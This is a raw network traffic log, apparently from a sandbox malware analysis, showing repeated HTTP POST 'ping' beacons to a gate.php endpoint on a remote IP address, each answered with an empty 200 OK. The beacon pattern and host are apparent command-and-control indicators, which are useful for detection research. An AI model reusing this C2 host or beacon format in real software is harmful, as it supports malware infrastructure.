Aug 15, 2021 08:40:34.316521883 CEST	2308	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:34 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:34.452245951 CEST	2308	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:34.480587006 CEST	2308	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:34 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:34.590131998 CEST	2309	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:34.618376970 CEST	2309	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:34 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:34.731589079 CEST	2309	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:34.761001110 CEST	2309	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:34 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:34.871099949 CEST	2310	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:34.898734093 CEST	2310	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:34 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:35.011573076 CEST	2310	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:35.039278984 CEST	2310	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:35.152734995 CEST	2311	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:35.180946112 CEST	2311	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:35.294243097 CEST	2311	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:35.321506977 CEST	2311	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:35.436077118 CEST	2312	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:35.464355946 CEST	2312	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:35.574439049 CEST	2312	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:35.603235006 CEST	2312	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:35.717246056 CEST	2312	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:35.745588064 CEST	2313	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:35.855592966 CEST	2313	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:35.883914948 CEST	2313	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:35 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:35.996121883 CEST	2313	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:36.025587082 CEST	2314	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:36.136678934 CEST	2314	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:36.167264938 CEST	2314	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:36.277352095 CEST	2314	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:36.307240009 CEST	2315	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:36.418176889 CEST	2315	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:36.446576118 CEST	2315	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:36.562252045 CEST	2315	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:36.591259956 CEST	2315	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:36.701081991 CEST	2316	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:36.730895042 CEST	2316	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:36.839909077 CEST	2316	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:36.869055986 CEST	2316	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:36.981270075 CEST	2317	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:37.010545969 CEST	2317	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:36 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:37.121469021 CEST	2317	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:37.149533033 CEST	2317	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:37.262455940 CEST	2318	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:37.290076017 CEST	2318	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:37.404966116 CEST	2318	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:37.433433056 CEST	2318	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:37.543117046 CEST	2319	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:37.571012974 CEST	2319	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:37.683759928 CEST	2319	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:37.714905977 CEST	2319	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:37.824980974 CEST	2319	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:37.852544069 CEST	2320	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:37.965845108 CEST	2320	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:37.993849039 CEST	2320	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:37 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:38.106983900 CEST	2320	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:38.135205030 CEST	2321	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:38.263154984 CEST	2321	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:38.291815996 CEST	2321	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:38.403996944 CEST	2321	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:38.431982994 CEST	2322	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:38.545074940 CEST	2322	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:38.572735071 CEST	2322	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:38.684525013 CEST	2323	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:38.712008953 CEST	2323	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:38.825416088 CEST	2324	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:38.853362083 CEST	2324	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:38.965908051 CEST	2329	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:38.995518923 CEST	2329	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:38 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:39.105766058 CEST	2332	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:39.134846926 CEST	2332	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:39.257201910 CEST	2336	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:39.285710096 CEST	2336	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:39.402947903 CEST	2338	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:39.431056976 CEST	2338	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:39.543118000 CEST	2338	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:39.571214914 CEST	2339	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:39.684472084 CEST	2339	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:39.712239027 CEST	2339	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:39.824966908 CEST	2339	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:39.852916002 CEST	2339	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:39.967689991 CEST	2340	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:39.995352030 CEST	2340	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:39 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:40.106610060 CEST	2340	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:40.136136055 CEST	2340	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:40.249345064 CEST	2341	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:40.277137041 CEST	2341	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:40.391586065 CEST	2341	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:40.420883894 CEST	2341	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:40.530112982 CEST	2342	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:40.560339928 CEST	2342	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:40.669047117 CEST	2342	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:40.696225882 CEST	2342	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:40.809720993 CEST	2343	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:40.838057041 CEST	2343	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:40.949827909 CEST	2343	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:40.977822065 CEST	2343	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:40 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:41.089956999 CEST	2344	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:41.119823933 CEST	2344	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:41.247189999 CEST	2344	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:41.277237892 CEST	2344	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:41.389234066 CEST	2345	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:41.416769028 CEST	2345	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:41.530683994 CEST	2345	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:41.558300972 CEST	2345	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:41.688724041 CEST	2346	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:41.718064070 CEST	2346	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:41.858366966 CEST	2346	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:41.885868073 CEST	2346	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:41 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:41.996934891 CEST	2346	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:42.026568890 CEST	2347	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:42.144424915 CEST	2347	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:42.172285080 CEST	2347	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:42.299937010 CEST	2347	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:42.329341888 CEST	2348	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:42.451169968 CEST	2348	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:42.480915070 CEST	2348	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:42.669027090 CEST	2348	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:42.697460890 CEST	2349	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:42 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:42.997235060 CEST	2349	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:43.027383089 CEST	2349	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:43 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:43.170106888 CEST	2349	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:43.199322939 CEST	2349	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:43 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
Aug 15, 2021 08:40:43.473793030 CEST	2350	OUT	POST /gate.php?type=ping&uid=7788F0C9B3493382528285 HTTP/1.1 User-Agent: dsfsdfdsfdsfd2sfdsf Host: 94.103.80.169 Content-Length: 0 Cache-Control: no-cache
Aug 15, 2021 08:40:43.502825975 CEST	2350	IN	HTTP/1.1 200 OK Date: Sun, 15 Aug 2021 06:40:43 GMT Server: Apache/2.4.25 (Debian) Content-Length: 0 Content-Type: text/html; charset=UTF-8
